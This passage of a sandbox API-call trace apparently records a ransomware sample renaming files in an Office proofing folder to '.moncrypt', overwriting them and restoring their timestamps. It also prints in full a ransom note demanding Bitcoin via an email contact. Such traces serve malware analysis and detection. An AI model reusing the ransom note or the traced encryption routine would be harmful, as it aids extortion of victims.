lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.754] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.754] GlobalLock (hMem=0x440004) returned 0x550170 [0049.754] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.754] GlobalUnlock (hMem=0x440004) returned 0 [0049.754] GlobalLock (hMem=0x440004) returned 0x550170 [0049.754] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.754] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.754] GlobalUnlock (hMem=0x440004) returned 0 [0049.754] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.754] GlobalUnlock (hMem=0x44000c) returned 0 [0049.754] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.755] CharLowerBuffW (in: lpsz="MSWDS_FR.LEX", cchLength=0xc | out: lpsz="mswds_fr.lex") returned 0xc [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", cchWideChar=65, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpUsedDefaultChar=0x0) returned 65 [0049.755] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0049.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\PROOF\\MSWDS_FR.LEX", lpUsedDefaultChar=0x0) returned 4 [0049.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0x54e200 [0049.755] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.756] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.756] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", dwFileAttributes=0x20) returned 1 [0049.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.moncrypt")) returned 1 [0049.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.792] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.792] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x482ef [0049.792] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.792] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0049.794] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.794] GlobalLock (hMem=0x440004) returned 0x550170 [0049.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.794] GlobalUnlock (hMem=0x440004) returned 0 [0049.794] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.794] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.795] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.795] GlobalUnlock (hMem=0x440004) returned 0 [0049.795] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.795] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.795] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.795] GlobalUnlock (hMem=0x44000c) returned 0 [0049.795] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.795] GlobalUnlock (hMem=0x440004) returned 0 [0049.795] GlobalLock (hMem=0x440004) returned 0x550170 [0049.795] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.795] GlobalUnlock (hMem=0x440004) returned 0 [0049.795] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.795] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.795] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.795] GlobalUnlock (hMem=0x440004) returned 0 [0049.795] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0049.796] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0049.796] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0049.796] SetFilePointer (in: hFile=0x188, lDistanceToMove=295663, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x482ef [0049.796] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0049.798] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0049.798] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.809] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0049.809] CloseHandle (hObject=0x188) returned 1 [0049.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.815] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.815] CloseHandle (hObject=0x188) returned 1 [0049.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0049.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.815] GlobalLock (hMem=0x440004) returned 0x550170 [0049.815] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.815] GlobalUnlock (hMem=0x440004) returned 0 [0049.815] GlobalLock (hMem=0x440004) returned 0x550170 [0049.816] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.816] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.816] GlobalUnlock (hMem=0x440004) returned 0 [0049.816] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.816] GlobalUnlock (hMem=0x44000c) returned 0 [0049.816] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee01d80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ee01d80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ee01d80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0049.816] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0049.816] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0049.816] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.816] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.817] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0049.817] CloseHandle (hObject=0x188) returned 1 [0049.817] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0049.817] GetLastError () returned 0x12 [0049.817] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.817] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.817] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.817] GlobalUnlock (hMem=0x44000c) returned 0 [0049.817] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.817] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.817] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.817] GlobalUnlock (hMem=0x44000c) returned 0 [0049.817] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.817] GlobalUnlock (hMem=0x440004) returned 0 [0049.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3eec0460, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eec0460, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.817] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.817] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.818] GlobalLock (hMem=0x440004) returned 0x550170 [0049.818] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.818] GlobalUnlock (hMem=0x440004) returned 0 [0049.818] GlobalLock (hMem=0x440004) returned 0x550170 [0049.818] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.818] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.818] GlobalUnlock (hMem=0x440004) returned 0 [0049.818] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.818] GlobalUnlock (hMem=0x44000c) returned 0 [0049.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.818] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3eec0460, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eec0460, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.818] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.818] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.818] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.818] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.818] GlobalUnlock (hMem=0x44000c) returned 0 [0049.818] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.818] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.818] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.818] GlobalUnlock (hMem=0x44000c) returned 0 [0049.818] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.818] GlobalUnlock (hMem=0x440004) returned 0 [0049.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.818] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee01d80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ee01d80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ee01d80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.818] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.818] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.819] GlobalLock (hMem=0x440004) returned 0x550170 [0049.819] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.819] GlobalUnlock (hMem=0x440004) returned 0 [0049.819] GlobalLock (hMem=0x440004) returned 0x550170 [0049.819] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.819] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.819] GlobalUnlock (hMem=0x440004) returned 0 [0049.819] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.819] GlobalUnlock (hMem=0x44000c) returned 0 [0049.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.819] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0049.819] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.819] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.819] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.819] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.819] GlobalUnlock (hMem=0x44000c) returned 0 [0049.819] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.819] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.819] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.819] GlobalUnlock (hMem=0x44000c) returned 0 [0049.819] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.819] GlobalUnlock (hMem=0x440004) returned 0 [0049.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.819] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c740, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX.moncrypt", cAlternateFileName="MSWDS_~1.MON")) returned 1 [0049.819] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.819] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.819] GlobalLock (hMem=0x440004) returned 0x550170 [0049.819] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.819] GlobalUnlock (hMem=0x440004) returned 0 [0049.819] GlobalLock (hMem=0x440004) returned 0x550170 [0049.820] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.820] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.820] GlobalUnlock (hMem=0x440004) returned 0 [0049.820] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.820] GlobalUnlock (hMem=0x44000c) returned 0 [0049.820] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.820] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX.moncrypt", cAlternateFileName="MSWDS_~2.MON")) returned 1 [0049.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, 